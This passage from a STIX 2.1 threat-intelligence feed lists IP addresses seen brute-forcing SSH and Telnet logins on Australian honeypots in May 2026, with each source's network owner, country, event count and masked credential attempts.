      "valid_from": "2026-05-24T01:15:15.000Z",
      "valid_until": "2026-06-25T01:15:08.000Z"
    },
    {
      "created": "2026-05-24T01:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 5769. Organisation(s): Videotron Ltee.",
      "id": "indicator--9abec500-7a77-4a1b-94d3-20dd602e4941",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '184.163.117.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:15:15.000Z",
      "valid_until": "2026-06-25T01:15:08.000Z"
    },
    {
      "created": "2026-05-24T01:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: GT. ASN(s): 52362. Organisation(s): Servicios Innovadores de Comunicacion y Entretenimiento, S.A..",
      "id": "indicator--fe17b6b1-80ce-486d-9a3a-a99693a68f82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.14.129.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:15:15.000Z",
      "valid_until": "2026-06-25T01:15:08.000Z"
    },
    {
      "created": "2026-05-24T01:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 394684. Organisation(s): GOLD DATA USA INC.",
      "id": "indicator--4f97bd26-4421-44f1-a0e4-29151265d59b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.52.100.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:15:15.000Z",
      "valid_until": "2026-06-25T01:15:08.000Z"
    },
    {
      "created": "2026-05-24T01:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36925. Organisation(s): ASMedi.",
      "id": "indicator--e638795e-203f-42db-bd8f-a3ac18320a58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.119.230.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:15:15.000Z",
      "valid_until": "2026-06-25T01:15:08.000Z"
    },
    {
      "created": "2026-05-24T01:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--c6fad0fe-e977-4807-b73f-329ae632c721",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.235.161.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:15:15.000Z",
      "valid_until": "2026-06-25T01:15:08.000Z"
    },
    {
      "created": "2026-05-24T01:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--827015ad-59ec-4ddf-a0dd-91a71a6cd0cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.134.4.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:15:15.000Z",
      "valid_until": "2026-06-25T01:15:08.000Z"
    },
    {
      "created": "2026-05-24T01:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3641. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, u**r, a***n, u****u, d****y. Passwords observed (masked): 1****6, ***, p******d, *, 1**4.",
      "id": "indicator--fc29090c-3faf-42ab-809c-b76dd77a94cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.156.87.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:15:15.000Z",
      "valid_until": "2026-06-25T01:15:08.000Z"
    },
    {
      "created": "2026-05-24T01:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--60ebc9a9-d465-411d-b82e-1ca917c16aba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '54.87.12.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:15:15.000Z",
      "valid_until": "2026-06-25T01:15:08.000Z"
    },
    {
      "created": "2026-05-24T01:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 32181. Organisation(s): GigeNET.",
      "id": "indicator--6facf2e3-6267-4375-a1d7-afb429a9c5b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.55.88.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:15:15.000Z",
      "valid_until": "2026-06-25T01:15:08.000Z"
    },
    {
      "created": "2026-05-24T01:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 12400. Organisation(s): Partner Communications Ltd..",
      "id": "indicator--b7dd2f7c-6b60-4720-88d3-6d6f3a90e8d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T01:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '80.230.141.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T01:15:15.000Z",
      "valid_until": "2026-06-25T01:15:08.000Z"
    },
    {
      "created": "2026-05-24T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4, g****t, ***, u****u. Passwords observed (masked): 1******8, 1******R, 3***********4, 3**********4, A******0.",
      "id": "indicator--db2540df-0fab-49ec-bb15-a86fea6e56a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '128.199.231.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:15:10.000Z",
      "valid_until": "2026-06-25T02:15:08.000Z"
    },
    {
      "created": "2026-05-24T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 55. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 270641. Organisation(s): YAS TELECOMUNICACOES EIRELI.",
      "id": "indicator--90d91b24-77ce-4f8b-a0bb-033ef4767de5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.11.28.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:15:10.000Z",
      "valid_until": "2026-06-25T02:15:08.000Z"
    },
    {
      "created": "2026-05-24T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda.",
      "id": "indicator--4ca352d9-f68a-4b7e-9050-c21f4bee1828",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.206.190.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:15:10.000Z",
      "valid_until": "2026-06-25T02:15:08.000Z"
    },
    {
      "created": "2026-05-24T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266181. Organisation(s): GOLDEN LINK.",
      "id": "indicator--e9f60373-aa78-4747-8a5f-7764ddced719",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.120.22.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:15:10.000Z",
      "valid_until": "2026-06-25T02:15:08.000Z"
    },
    {
      "created": "2026-05-24T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--52c2f9b7-7cde-4096-bb5f-d7ec5f78668e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.134.161.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:15:10.000Z",
      "valid_until": "2026-06-25T02:15:08.000Z"
    },
    {
      "created": "2026-05-24T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--7e45e129-1c12-4e88-bb1c-c2bac862c060",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.179.34.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:15:10.000Z",
      "valid_until": "2026-06-25T02:15:08.000Z"
    },
    {
      "created": "2026-05-24T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation. Usernames observed (masked): r**t, 3**********4, b*****r, p******m, r**n. Passwords observed (masked): 3**********4, 1**4, 3***********4, R*******!, W*******@.",
      "id": "indicator--a0b6f95b-2396-4812-82ba-e53ed0c9c5db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.189.155.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:15:10.000Z",
      "valid_until": "2026-06-25T02:15:08.000Z"
    },
    {
      "created": "2026-05-24T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, i**o, 3**********4. Passwords observed (masked): 3***********4, 3**********4, a**********9, a******3, p*****3.",
      "id": "indicator--9368d88e-6dbd-48ff-a506-3e686763ef3c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '4.184.246.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:15:10.000Z",
      "valid_until": "2026-06-25T02:15:08.000Z"
    },
    {
      "created": "2026-05-24T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 231. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t, 3**********4, r**n, b*****r, k**i. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1****6, 1*******@.",
      "id": "indicator--85d77481-3e52-4487-9690-86e6fe7ba756",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.229.253.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:15:10.000Z",
      "valid_until": "2026-06-25T02:15:08.000Z"
    },
    {
      "created": "2026-05-24T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 231. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 5065. Organisation(s): Bunny Communications. Usernames observed (masked): r**t, 3**********4, r**n, b*****r, k**i. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1****6, 1*******@.",
      "id": "indicator--cf530331-945a-4b99-a7af-4cbf8546eeda",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.132.18.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:15:10.000Z",
      "valid_until": "2026-06-25T02:15:08.000Z"
    },
    {
      "created": "2026-05-24T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: HU. ASN(s): 216472. Organisation(s): High Speed For Internet Services L.L.C.",
      "id": "indicator--8d309768-2b76-49dc-8e13-b1e274c2e1c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.43.135.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T02:15:10.000Z",
      "valid_until": "2026-06-25T02:15:08.000Z"
    },
    {
      "created": "2026-05-24T03:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--e5c1bfc3-6266-42b6-952d-1006eecc9bd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T03:15:12.000Z",
      "valid_until": "2026-06-25T03:15:08.000Z"
    },
    {
      "created": "2026-05-24T03:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 59. Sensors involved: Cowrie. Target ports: 23. Source country: DO. ASN(s): 273217. Organisation(s): ACOLME TECH, SRL.",
      "id": "indicator--ac287412-4b54-45a9-8ac4-cc5ab1170236",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.59.207.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T03:15:12.000Z",
      "valid_until": "2026-06-25T03:15:08.000Z"
    },
    {
      "created": "2026-05-24T03:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--81c8fed9-ba77-46cb-a409-cf9374201336",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.230.49.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T03:15:12.000Z",
      "valid_until": "2026-06-25T03:15:08.000Z"
    },
    {
      "created": "2026-05-24T03:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GY. ASN(s): 19863. Organisation(s): Guyana Telephone & Telegraph Co..",
      "id": "indicator--a9342441-8756-4b0e-8034-f78c22f32393",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.41.124.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T03:15:12.000Z",
      "valid_until": "2026-06-25T03:15:08.000Z"
    },
    {
      "created": "2026-05-24T03:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): r**t. Passwords observed (masked): P*******1.",
      "id": "indicator--ac977b83-8144-4bf6-bda1-3401ae8f8746",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.239.209.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T03:15:12.000Z",
      "valid_until": "2026-06-25T03:15:08.000Z"
    },
    {
      "created": "2026-05-24T03:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: EC. ASN(s): 28006. Organisation(s): CORPORACION NACIONAL DE TELECOMUNICACIONES - CNT EP.",
      "id": "indicator--80c0f5f7-75a1-4248-84ce-5dbcf9d42569",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.42.9.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T03:15:12.000Z",
      "valid_until": "2026-06-25T03:15:08.000Z"
    },
    {
      "created": "2026-05-24T03:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 7738. Organisation(s): V tal.",
      "id": "indicator--23c847df-dea8-44ca-b523-a81dea93487e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.126.57.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T03:15:12.000Z",
      "valid_until": "2026-06-25T03:15:08.000Z"
    },
    {
      "created": "2026-05-24T03:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 37. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 28548. Organisation(s): Cablevision, S.A. de C.V..",
      "id": "indicator--f17f72f3-17ce-420a-86bd-c42fc0e455fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.217.18.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T03:15:12.000Z",
      "valid_until": "2026-06-25T03:15:08.000Z"
    },
    {
      "created": "2026-05-24T03:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DO. ASN(s): 271808. Organisation(s): MONTECRISTI CABLE VISION, SRL.",
      "id": "indicator--cdbd238d-89ed-4084-a46b-d20293b5a04a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.123.77.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T03:15:12.000Z",
      "valid_until": "2026-06-25T03:15:08.000Z"
    },
    {
      "created": "2026-05-24T03:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HN. ASN(s): 52468. Organisation(s): UFINET PANAMA S.A..",
      "id": "indicator--dc6bf136-71b0-4aab-9e5a-88ffa5b03195",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.61.116.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T03:15:12.000Z",
      "valid_until": "2026-06-25T03:15:08.000Z"
    },
    {
      "created": "2026-05-24T03:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 264628. Organisation(s): CORPORACION FIBEX TELECOM, C.A..",
      "id": "indicator--9ed489d4-b3f2-42fe-8353-88c8980f52ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.89.29.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T03:15:12.000Z",
      "valid_until": "2026-06-25T03:15:08.000Z"
    },
    {
      "created": "2026-05-24T03:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--3b21cec6-52ee-474d-8613-b5f371a89cfc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.52.145.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T03:15:12.000Z",
      "valid_until": "2026-06-25T03:15:08.000Z"
    },
    {
      "created": "2026-05-24T03:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--6891bae8-3b38-4839-b6af-3d4eb71e1186",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.187.97.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T03:15:12.000Z",
      "valid_until": "2026-06-25T03:15:08.000Z"
    },
    {
      "created": "2026-05-24T03:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GH. ASN(s): 37613. Organisation(s): Dolphin-Telecom-AS. Usernames observed (masked): r**t, u**r, 3**********4, d**o, r**i. Passwords observed (masked): 3***********4, 3**********4, P******d, Q*******3, Q************@.",
      "id": "indicator--8bc9c4cc-c10f-4949-9b7a-4396b8c10385",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.242.115.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T03:15:12.000Z",
      "valid_until": "2026-06-25T03:15:08.000Z"
    },
    {
      "created": "2026-05-24T03:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 8870. Organisation(s): Overseas Technologies LLC.",
